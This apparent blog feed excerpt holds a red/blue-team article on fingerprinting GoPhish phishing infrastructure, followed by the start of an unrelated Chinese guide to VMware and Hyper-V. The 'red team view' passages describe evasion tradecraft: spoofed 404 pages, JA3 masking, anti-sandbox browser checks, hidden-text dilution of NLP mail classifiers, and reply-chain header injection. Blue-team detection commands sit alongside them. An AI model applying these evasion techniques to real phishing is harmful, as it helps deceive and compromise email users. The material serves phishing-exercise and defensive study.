&lt;p&gt;By default GoPhish uses the Go standard library’s &lt;code&gt;http.NotFound&lt;/code&gt;, which returns:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;404 page not found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Go standard-library 404 has no “404 Not Found” title tag; the body is plain text, distinctly different from Nginx or Apache HTML 404 pages.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Red team view:&lt;/strong&gt; You must override the default 404 handler and return a 404 consistent with the target environment. In TaiGong’s implementation, &lt;code&gt;renderUnknownResponse&lt;/code&gt; returns a full Nginx-style HTML page:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;404 Not Found

404 Not Found
nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It also supports configuring &lt;code&gt;UnknownRedirectURL&lt;/code&gt; to 302 invalid requests straight to a legitimate page (e.g. Google.com), fully eliminating 404 response differentials.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blue team view:&lt;/strong&gt; Use network mapping platforms such as Shodan, Censys, or FOFA to search for HTTP services returning Go standard-library 404 traits; combined with port scanning, this can surface phishing servers exposed on the public internet. The favicon.ico hash is another easily overlooked fingerprint.&lt;/p&gt;
&lt;h4&gt;2.5 TLS Fingerprints (JA3/JA4)&lt;/h4&gt;
&lt;p&gt;This is the most overlooked—and most damaging—fingerprint. ClientHello messages produced by Go’s &lt;code&gt;crypto/tls&lt;/code&gt; have a very distinctive CipherSuite order and TLS extension combination. The default JA3 for Go 1.21+ is roughly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,0-23-65281-10-11-35-16-5-13-18-51-45-43-27-17513,29-23-24,0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This fingerprint is completely different from Nginx (OpenSSL-based) or Apache TLS fingerprints, and is widely tagged in open JA3 fingerprint libraries (e.g. ja3er.com).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blue team view:&lt;/strong&gt; Deploy Zeek or Suricata passive traffic analysis at the enterprise egress; extract JA3/JA4 from all TLS handshakes. If an IP’s JA3 matches Go standard-library traits and that IP is not on a known Go-service allowlist (Docker Hub, Google APIs, etc.), it is highly likely a phishing server. Example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;tshark -r capture.pcap -Y &apos;tls.handshake.type == 1&apos; \
 -T fields -e tls.handshake.ja3 -e ip.src
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cross-check output against known Go fingerprint libraries for phishing-infra detection that needs no mail content inspection and no URL denylist.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Red team view:&lt;/strong&gt; There are two paths against JA3. One is to hand TLS to a reverse proxy—Nginx/Caddy/Cloudflare—so the Go app only listens on &lt;code&gt;127.0.0.1:80&lt;/code&gt; plaintext HTTP; the handshake is completed by OpenSSL/BoringSSL and fingerprints become standard Nginx/Cloudflare ones. The other is to use a custom &lt;code&gt;crypto/tls&lt;/code&gt; Config to rewrite CipherSuite order and extensions. TaiGong’s code uses &lt;code&gt;github.com/psanford/tlsfingerprint&lt;/code&gt; to extract client JA4 in real time for anti-detection, while server-side TLS fingerprints are handled by fronting Nginx.&lt;/p&gt;
&lt;h4&gt;2.6 Static Asset Fingerprints&lt;/h4&gt;
&lt;p&gt;GoPhish admin static assets (CSS/JS/images) live under &lt;code&gt;static/&lt;/code&gt;; file contents are fixed per version. Hash those files and compare against known versions to pin the GoPhish version precisely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Red team view:&lt;/strong&gt; Bundle front-end assets into the binary with &lt;code&gt;go:embed&lt;/code&gt;, and on each build apply tiny non-functional mutations (e.g. change version strings in CSS comments, alter whitespace in JS) so hashes match no known release.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blue team view:&lt;/strong&gt; Extract hashes of JS/CSS under &lt;code&gt;/static/&lt;/code&gt; from HTTP responses and compare against known GoPhish version hash lists (from GitHub Releases or npm packs). This is the most precise GoPhish version identification method.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x03 Evolution of Secure Email Gateways: From SpamAssassin to a Five-Layer Detection Stack&lt;/h3&gt;
&lt;p&gt;To understand why a 2025 exercise platform must match APT-grade adversarial capability, it helps to map how secure email gateways (SEG) evolved over the past six years.&lt;/p&gt;
&lt;h4&gt;3.1 Traditional Architecture (~2020): One-Dimensional Detection&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Inbound mail → SPF/DKIM/DMARC checks → keyword denylist → SpamAssassin scoring → allow/quarantine
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This generation of gateways centered on static rule- and reputation-based detection. SpamAssassin’s Bayesian classifier, Rspamd scoring, RBL/DNSBL denylists—all relatively static tools.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Red team view:&lt;/strong&gt; With basic hygiene—reputable domains, correct SPF/DKIM/DMARC, avoiding high-frequency denylist keywords in the body—you could bypass them easily.&lt;/p&gt;
&lt;h4&gt;3.2 Modern Architecture (2024–2026): Five Layers in Depth&lt;/h4&gt;
&lt;p&gt;Around 2020–2021, the email security industry underwent a major paradigm shift. Gartner formally defined the ICES (Integrated Cloud Email Security) category in October 2021; Forrester defined CAPES (Cloud API-Enabled Email Security) in Q3 2020—analyst recognition of emerging cloud-native API email security platforms. Traditional SEG vendors such as Proofpoint, Mimecast, and Microsoft never relied on a “single scoring model”—Microsoft Defender for Office 365/EOP shipped a multi-layer protection stack of 20+ detection techniques from the start; Proofpoint TAP included multi-layer URL rewrite, sandboxing, and threat intel as early as 2012; Mimecast expanded detection via Solebit/Ataata acquisitions in 2018. By 2025, a complete email security detection architecture has evolved into a five-layer collaborative system:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;Inbound mail
 ├── L1 Reputation: IP/domain reputation, SPF/DKIM/DMARC alignment, sender behavior profiling
 ├── L2 Content: Transformer-based NLP semantic analysis, intent classification, sentiment detection
 ├── L3 URL: Headless Chrome real-time detonation, redirect-chain tracking, domain age checks
 ├── L4 Attachment: CDR (content disarm and reconstruction), Office macro static/dynamic analysis, file-type spoof detection
 └── L5 Behavior: user send/receive baseline modeling, anomalous communication patterns (first contact, burst bulk)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Several critical shifts deserve deeper analysis:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;L2 — NLP semantic analysis.&lt;/strong&gt; Microsoft Defender and Proofpoint have deployed Transformer-based intent classification models. These no longer depend on keyword matching; they understand semantic intent: “Is this message asking the recipient to take an action (click a link, transfer money, download an attachment)?” Traditional keyword swaps (“password” → “passphrase,” “urgent” → “expedited”) are useless against semantic models.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Red team view:&lt;/strong&gt; Against NLP models you can use noise injection obfuscation (terminology used in KnowBe4’s 2026 reporting) or what Sublime Security (May 2026) calls “indirect prompt injection via hidden text”—embedding large amounts of benign business text in invisible regions of the body to dilute overall NLP probability scores. This is not merely “lowering the urgency score” (that is only one of the model’s signals); it drowns sparse malicious signals in benign context so the classifier labels the whole message as normal business communication. Note that modern SEGs already weight detection of hidden text (&lt;code&gt;opacity:0&lt;/code&gt;, &lt;code&gt;display:none&lt;/code&gt;, tiny fonts, etc.) in preprocessing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;L3 — URL hyperlink preview.&lt;/strong&gt; Not simple denylist checks: Headless Chrome actually visits the URL, waits for JavaScript to finish and the page to fully render, then analyzes DOM structure, visual content, and form fields. If your phishing landing page returns a full phishing form to every visitor, it is already sandboxed before it reaches the target inbox.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Red team view:&lt;/strong&gt; A battle-oriented platform must embed an anti-sandbox engine—multi-dimensional environment checks on the visitor. TaiGong’s detections engine in the JS probe (&lt;code&gt;magic.js&lt;/code&gt;) checks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;navigator.webdriver&lt;/code&gt; (Headless Chrome marker)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;navigator.plugins&lt;/code&gt; length (sandboxes often disable plugins)&lt;/li&gt;
&lt;li&gt;screen resolution and color depth match (typical virtualized environments are 1024×768)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;chrome.runtime&lt;/code&gt; object (loading outside Chrome exposes it)&lt;/li&gt;
&lt;li&gt;mouse trajectories (real user vs script injection)&lt;/li&gt;
&lt;li&gt;Canvas fingerprint and WebGL renderer string&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The server further filters by IP: 200+ CIDRs covering AWS/Azure/GCP/Tencent Cloud/Alibaba Cloud/Linode/OVH/Hetzner. Requests outside the geo-fence return 404 or a forged redirect.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;L5 — Behavior baseline modeling.&lt;/strong&gt; First Contact Safety Tip is a built-in Microsoft Defender for Office 365 feature that shows a gray banner atop mail from first-time senders: “You don’t often get email from this sender. Learn why this is important.” It is meant to raise awareness of unfamiliar senders. Certitude Consulting (August 2024) also disclosed a CSS bypass that lets attackers fully hide that banner via carefully crafted HTML. Yellow banners mark spam classification results and are a different control.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Red team view:&lt;/strong&gt; Breaking L5 requires reply-chain attacks—injecting &lt;code&gt;In-Reply-To&lt;/code&gt;, &lt;code&gt;References&lt;/code&gt;, &lt;code&gt;Thread-Topic&lt;/code&gt;, and &lt;code&gt;Thread-Index&lt;/code&gt; headers so the phishing message is inserted into an existing legitimate thread. The SEG’s behavior baseline sees the mail as “belonging” to an existing conversation and does not trigger first-contact detection. TaiGong’s sponsored edition implements this technique.&lt;/p&gt;
&lt;h4&gt;3.3 The 2025–2026 Attack Surface&lt;/h4&gt;
&lt;p&gt;Defenders are upgrading; attackers never stopped.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SMTP Smuggling (CVE-2023-51766).&lt;/strong&gt; SEC Consult researcher Timo Longin disclosed a protocol-level vulnerability affecting multiple SMTP implementations in late 2023. Attackers exploit differences in how MTAs (Postfix, Sendmail, Exchange Online) parse the SMTP data end sequence &lt;code&gt;.&lt;/code&gt; to “smuggle” extra messages in a single SMTP session. Smuggled messages can forge arbitrary senders and fully bypass SPF—from the receiving MTA’s perspective they came from a legitimate source IP. Proofpoint’s 2024 misconfiguration incidents further underscored the impact.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Red team view:&lt;/strong&gt; Where enterprise MTAs are unpatched, SMTP Smuggling can craft a fake official notice that “passes” SPF/DKIM/DMARC entirely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SubdoMailing (Guardio Labs, February 2024).&lt;/strong&gt; In this large-scale campaign, attackers systematically scanned expired subdomain SPF/CNAME records of major organizations (MSN, VMware, McAfee, etc.), took them over, and sent phishing mail under strong domain reputation. Over 8,000 domains and 13,000 subdomains were abused, with average daily volume of ~5 million messages.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blue team view:&lt;/strong&gt; Regularly audit DNS for subdomains no longer in use but still listed in SPF &lt;code&gt;include&lt;/code&gt;s. Use dnsrecon or Sublist3r to monitor subdomain resolution. CT Log (Certificate Transparency) anomaly monitoring can surface abnormal certificate issuance against your subdomains early.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quishing (QR Code Phishing).&lt;/strong&gt; HP Wolf Security 2024 and Abnormal Security both report 270%+ growth in QR-code phishing. The core reason: SEG URL scanners cannot read URLs embedded in images—attackers encode phishing links as QR codes in the body; users scan with phones and land on phishing pages, fully bypassing desktop security controls.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Red team view:&lt;/strong&gt; Embed QR codes in forged MFA device-binding or attendance check-in notices; exploit mobile URL preview truncation to hide the full link.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blue team view:&lt;/strong&gt; Deploy QR detection modules on the mail gateway that decode images in message bodies and analyze extracted URLs. Train employees explicitly: any mail that requires scanning a code to act must be confirmed via a secondary channel.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x04 Blue Team Detection Matrix: Finding Phishing Infrastructure Inside and Outside the Organization&lt;/h3&gt;
&lt;p&gt;From this series’ dual red/blue perspective, the simplest WAF rules are easy to stand up.&lt;/p&gt;
&lt;h4&gt;4.1 Detecting GoPhish Instances&lt;/h4&gt;
&lt;p&gt;From the six fingerprint classes above, you can build a multi-dimensional detection script:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mail header layer:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Check X-Gophish custom headers
grep -ri &quot;x-gophish&quot; /var/log/mail/*.log

# Check Message-Id format anomalies
# GoPhish-generated Message-Ids are often UUIDs missing a domain suffix
grep -E &apos;Message-Id: &amp;#x3C;[a-f0-9-]{36}&gt;&apos; /var/log/mail/*.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Network traffic layer:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Extract JA3 from all TLS handshakes
tshark -r capture.pcap -Y &apos;tls.handshake.type == 1&apos; \
 -T fields -e tls.handshake.ja3 -e ip.src -e ip.dst | \
 grep &quot;^771,4865-4866-4867-49195&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;URL pattern layer:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Search for RID-like URL parameter patterns
grep -P &apos;\?rid=[A-Za-z0-9+/=]{7,}&apos; /var/log/nginx/access.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With a WAF (ModSecurity, Naxsi, etc.) you can auto-block requests bearing known phishing-framework traits. Commercial WAFs (Cloudflare, Akamai) typically already include GoPhish fingerprint rules in managed rule sets.&lt;/p&gt;
&lt;h4&gt;4.2 Detecting Advanced Phishing Platforms&lt;/h4&gt;
&lt;p&gt;Once attackers strip all of the above visible traits, the blue team must upgrade:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Domain age and registration data.&lt;/strong&gt; Newly registered (&amp;#x3C;30 day) domains sending “internal notice” mail are strong suspicious signals. Automate registration-date checks of linked domains via whois or SecurityTrails API.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CT Log anomaly monitoring.&lt;/strong&gt; Watch certificate issuance for domains similar to your org name, e.g. &lt;code&gt;hr-yourcompany.com&lt;/code&gt;, &lt;code&gt;login-microsoft.com&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Use certspotter or crt.sh APIs for automatic subscription.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mail authentication consistency checks.&lt;/strong&gt; Specifically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SPF Pass but Return-Path domain misaligned with From (Alignment Failure)&lt;/li&gt;
&lt;li&gt;DKIM Pass but signing domain (&lt;code&gt;d=&lt;/code&gt;) misaligned with From&lt;/li&gt;
&lt;li&gt;Domains with DMARC &lt;code&gt;p=quarantine&lt;/code&gt; or &lt;code&gt;p=reject&lt;/code&gt; receiving mail claiming to be from that domain without a DKIM signature—possible domain impersonation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;SMTP behavioral anomaly detection.&lt;/strong&gt; The same source IP sending to many different internal recipients in a short window, with MAIL FROM envelope address ≠ From header address, is a classic bulk-phishing signal. Zeek’s &lt;code&gt;smtp.log&lt;/code&gt; can extract these fields for analysis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Infrastructure correlation.&lt;/strong&gt; Correlate domains, IPs, TLS certs, JA3 fingerprints, mail template hashes, etc. used in one campaign into a threat-intel graph—the classic MISP or ThreatConnect use case.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;0x05 Engineering Practice From This Understanding: Taigong’s Design Origin&lt;/h3&gt;
&lt;p&gt;GoPhish is a good tool—but it belongs to a previous era.&lt;/p&gt;
&lt;p&gt;Looking back at the six fingerprint classes: from mail headers to TLS handshakes, from HTTP 404 pages to JS static-asset hashes, any untreated trait can be identified by blue teams or internet mapping platforms. And even if you erase every visible fingerprint, you still face three architectural limits GoPhish cannot solve: single mail channel (no IM/SMS/QR multi-channel simulation), no environment awareness (cannot distinguish sandboxes from real users), and no MFA adversarial capability (no AiTM relay).&lt;/p&gt;
&lt;p&gt;In 2026, enterprise SEGs have evolved from single-layer rule engines into five-layer defense-in-depth stacks; NLP semantics, Headless Chrome detonation, and behavior baseline modeling are standard. Real APT groups already use SMTP Smuggling to bypass SPF, SubdoMailing to borrow domain reputation, and QR codes to bypass URL inspection. If your exercise platform is still standing still, the data it produces—“5% of employees clicked the link”—is simply not the real exposure surface.&lt;/p&gt;
&lt;p&gt;Based on this understanding, we built a new phishing exercise platform from the ground up—&lt;strong&gt;Taigong&lt;/strong&gt; (太公).&lt;/p&gt;
&lt;p&gt;Taigong’s design premise: a platform aimed at real operational environments must simultaneously reach real-attack fidelity across six dimensions—infrastructure stealth, content adversarial techniques, multi-channel delivery, anti-sandbox detection, MFA adversarial capability, and measurement. It is not an “enhanced” or “beautified” GoPhish; it redefines the capability boundary of phishing exercise platforms from the ground up.&lt;/p&gt;
&lt;p&gt;Subsequent articles in this series will center on Taigong’s engineering design. By dissecting architectural decisions of a real platform, we show the logic behind every technical choice in modern phishing offense and defense. Pieces of Taigong’s design and implementation will appear throughout, but the core discussion is always adversarial thinking—how to design a platform so exercise data truly reflects an organization’s security waterline.&lt;/p&gt;
&lt;p&gt;Next article: concrete implementation—how to build phishing infrastructure that cannot be identified, from domain selection and DNS configuration through CDN domain fronting to TLS fingerprint adversarial techniques, all from production experience in live environments.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;-*Microsoft Digital Defense Report 2024, https://www.microsoft.com/en-us/security/security-insider/microsoft-digital-defense-report-2024*
-*Proofpoint 2024 State of the Phish Report, https://www.proofpoint.com/us/resources/threat-reports/state-of-phish*
-*HP Wolf Security 2024 Threat Insights Report, https://threatresearch.ext.hp.com/2024-threat-insights-report/*
-*SEC Consult - SMTP Smuggling (CVE-2023-51766), https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/*
-*Guardio Labs - SubdoMailing: Thousands of Hijacked Major Brand Subdomains, https://labs.guard.io/subdomailing-thousands-of-hijacked-major-brand-subdomains-found-bombarding-users-with-millions-of-malicious-emails*
-*GoPhish v0.12.1 Source Code, https://github.com/gophish/gophish*
-*JA3 - A method for profiling SSL/TLS clients, https://github.com/salesforce/ja3*
-*JA4+ Network Fingerprinting Standard, https://github.com/FoxIO-LLC/ja4*
-*Abnormal Security - QR Code Phishing on the Rise, https://abnormalsecurity.com/blog/qr-code-phishing-attacks*
-*Guardio Labs - SubdoMailing Technical Analysis, https://labs.guard.io/*
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Series Navigation&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;part-1-gophish-ceiling.md&quot;&gt;Part 1: GoPhish’s Ceiling&lt;/a&gt; ← This article&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;part-2-opsec-infra.md&quot;&gt;Part 2: Untraceable Infrastructure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;part-3-bayes-nlp.md&quot;&gt;Part 3: Bayesian &amp;#x26; NLP Content Adversarial Techniques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;part-4-rid-polymorphism.md&quot;&gt;Part 4: Parameter Polymorphism &amp;#x26; Response Camouflage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;part-5-qr-delivery.md&quot;&gt;Part 5: Linkless Delivery &amp;#x26; QR Codes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;part-6-bec-polymorphism.md&quot;&gt;Part 6: BEC 3.0 &amp;#x26; Cross-Channel Orchestration&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>VMware 与 Hyper-V 基础扫盲：差异、迁移与脚本实战</title><link>https://s4u2self.cc/blog/vmware-vs-hyper-v-migration-guide</link><guid isPermaLink="true">https://s4u2self.cc/blog/vmware-vs-hyper-v-migration-guide</guid><description>一篇面向入门者的 VMware 与 Hyper-V 对比文章，讲清架构差异、VMDK 与 VHDX、迁移思路，并附 VMDK 转 VHDX Python 脚本。</description><pubDate>Thu, 19 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;很多人第一次接触虚拟机，都是从 VMware Workstation 开始的。它安装方便、资料多、界面也直观，所以无论是装测试环境、做开发、跑实验机，还是折腾一些旧系统，VMware 都是很常见的入门选择。&lt;/p&gt;
&lt;p&gt;但用久了之后，很多人会开始遇到几个现实问题：Windows 自带的虚拟化能力越来越强、WSL2 和 Windows Sandbox 都依赖 Hyper-V、某些安全功能会和 VMware 争抢虚拟化支持、迁移旧虚拟机时又会碰到一堆看不懂的磁盘文件。这个时候，问题就会变得很实际：&lt;/p&gt;
&lt;p&gt;VMware 和 Hyper-V 到底有什么区别？什么时候该继续用 VMware，什么时候又值得迁到 Hyper-V？&lt;/p&gt;
&lt;p&gt;这篇文章尽量不用太夸张的表达，而是按“基础扫盲”的思路，把下面几件事讲清楚：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VMware Workstation 和 Hyper-V 分别是什么&lt;/li&gt;
&lt;li&gt;两者底层架构到底差在哪&lt;/li&gt;
&lt;li&gt;日常使用时，体验会体现在哪些地方&lt;/li&gt;
&lt;li&gt;为什么 VMware 目录里经常会出现一堆零碎的 &lt;code&gt;.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;把 VMware 虚拟机迁到 Hyper-V 时，应该怎么理解磁盘转换&lt;/li&gt;
&lt;li&gt;仓库里的 &lt;code&gt;vmdk_to_vhdx.py&lt;/code&gt; 脚本到底做了什么&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你只是想先建立一个基本认知，这篇文章就够用了。如果你已经准备迁移，文末也给了比较实用的操作建议和完整脚本。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;一、先把概念说清楚：虚拟机到底是什么&lt;/h2&gt;
&lt;p&gt;虚拟机本质上就是“在一台真实电脑里，再模拟出一台电脑”。这台模拟出来的电脑可以有自己的 CPU、内存、硬盘、网卡、BIOS 或 UEFI，然后在里面安装另一个操作系统。&lt;/p&gt;
&lt;p&gt;比如你现在用的是 Windows 11 主机，但你可以在虚拟机里再装一个 Ubuntu、Windows Server，甚至是更老的系统。这样做的好处很明显：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不影响主机环境&lt;/li&gt;
&lt;li&gt;方便测试软件和配置&lt;/li&gt;
&lt;li&gt;适合做开发、学习、实验和隔离&lt;/li&gt;
&lt;li&gt;出问题了可以删掉重来&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而 VMware Workstation、Hyper-V 这样的工具，扮演的就是“虚拟机管理者”的角色。更准确一点说，它们属于 Hypervisor，也就是虚拟化平台。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;二、VMware Workstation 和 Hyper-V 分别是什么&lt;/h2&gt;
&lt;h3&gt;1. VMware Workstation&lt;/h3&gt;
&lt;p&gt;VMware Workstation 是桌面端非常成熟的虚拟化产品。它的优点主要有这些：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;上手门槛低&lt;/li&gt;
&lt;li&gt;图形界面完整&lt;/li&gt;
&lt;li&gt;对旧系统、老镜像的兼容性通常不错&lt;/li&gt;
&lt;li&gt;很多人手里本来就积累了大量 VMware 格式的虚拟机&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你的主要诉求是“在自己的电脑上方便地开几个虚拟机”，VMware Workstation 一直都是一个比较稳妥的方案。&lt;/p&gt;
&lt;h3&gt;2. Hyper-V&lt;/h3&gt;
&lt;p&gt;Hyper-V 是微软提供的虚拟化平台，集成在 Windows 专业版、企业版和 Windows Server 中。它不是单纯“装一个虚拟机软件”那么简单，而更像系统级能力。&lt;/p&gt;
&lt;p&gt;这也是为什么很多 Windows 相关功能都会和它绑定，比如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WSL2&lt;/li&gt;
&lt;li&gt;Windows Sandbox&lt;/li&gt;
&lt;li&gt;一部分基于虚拟化的安全特性&lt;/li&gt;
&lt;li&gt;Windows Server 场景下的原生虚拟化管理&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你长期在 Windows 体系内工作，尤其是开发、运维、测试或者安全研究相关工作，Hyper-V 的存在感会越来越强。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;三、两者最大的差别：底层架构不一样&lt;/h2&gt;
&lt;p&gt;理解 VMware 和 Hyper-V 的关键，不在界面，而在架构。&lt;/p&gt;
&lt;h3&gt;1. VMware Workstation 更接近宿主型虚拟化&lt;/h3&gt;
&lt;p&gt;可以把它理解为：它运行在你的 Windows 之上。虽然底层也会调用硬件虚拟化能力，但从使用感知上看，它仍然像一个“运行在宿主系统里的大型应用”。&lt;/p&gt;
&lt;p&gt;这种方式的好处是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;安装和卸载更直观&lt;/li&gt;
&lt;li&gt;对个人用户更友好&lt;/li&gt;
&lt;li&gt;和桌面环境结合得比较自然&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;它的代价也很明显：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;某些场景下会和 Windows 自己的虚拟化能力产生冲突&lt;/li&gt;
&lt;li&gt;在系统底层资源调度上，不如原生虚拟化方案那样直接&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Hyper-V 更接近系统级、原生的虚拟化层&lt;/h3&gt;
&lt;p&gt;开启 Hyper-V 之后，Windows 的角色其实会发生变化。简单说，不再是“Windows 运行了一个虚拟机软件”，而更像是“Windows 本身也运行在 Hyper-V 管理的环境里”。&lt;/p&gt;
&lt;p&gt;这件事对新手来说最容易混淆，但理解之后，你会更容易明白下面这些现象：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;为什么启用 Hyper-V 后，某些依赖 VT-x 或 AMD-V 的软件表现会变化&lt;/li&gt;
&lt;li&gt;为什么 WSL2 和 Sandbox 要依赖它&lt;/li&gt;
&lt;li&gt;为什么 Hyper-V 在 Windows 生态里的整合度更高&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你不一定要记住非常严谨的虚拟化术语，但至少要知道：这两者不是“同类软件换个皮肤”，而是设计思路本来就不一样。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;四、作为普通用户，实际体验上会差在哪&lt;/h2&gt;
&lt;p&gt;如果不聊架构，只看日常使用，可以先用下面这个表快速理解：&lt;/p&gt;
&lt;p&gt;| 对比项 | VMware Workstation | Hyper-V |
| --- | --- | --- |
| 上手体验 | 更像普通桌面软件 | 更像系统功能 |
| Windows 生态整合 | 一般 | 很强 |
| 对旧虚拟机兼容 | 通常更友好 | 迁移时可能需要调整 |
| 磁盘格式 | 常见为 VMDK | 常见为 VHD / VHDX |
| 网络配置 | 图形化较直观 | 功能强，但概念更多 |
| 与 WSL2 / Sandbox 协同 | 可能有兼容问题 | 原生协同 |
| 适合人群 | 个人学习、桌面实验 | Windows 深度用户、开发运维、服务器场景 |&lt;/p&gt;
&lt;h3&gt;什么情况下更适合继续用 VMware&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;你已经积累了很多 VMware 虚拟机模板&lt;/li&gt;
&lt;li&gt;你主要是个人桌面使用，不依赖 Hyper-V 生态&lt;/li&gt;
&lt;li&gt;你更在意“开箱即用”和旧环境兼容&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;什么情况下更值得迁到 Hyper-V&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;你本来就在 Windows 专业版或服务器环境里工作&lt;/li&gt;
&lt;li&gt;你需要 WSL2、Sandbox、容器、虚拟化安全等能力协同&lt;/li&gt;
&lt;li&gt;你希望虚拟化方案尽量和 Windows 原生体系保持一致&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这不是谁绝对更强，而是你的使用场景变了，适合的工具也会跟着变。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;五、为什么 VMware 目录里总有一堆奇怪的磁盘文件&lt;/h2&gt;
&lt;p&gt;很多人迁移虚拟机时，最先被劝退的不是 Hyper-V，而是 VMware 自己那堆磁盘文件名。&lt;/p&gt;
&lt;p&gt;你本来以为虚拟机硬盘应该就是一个文件，结果目录里却出现了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;xxx.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xxx-flat.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xxx-s001.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xxx-f001.vmdk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;还有可能出现快照相关文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这其实很正常，因为 &lt;code&gt;VMDK&lt;/code&gt; 不是单指“一个样子的文件”，而是一类磁盘格式。&lt;/p&gt;
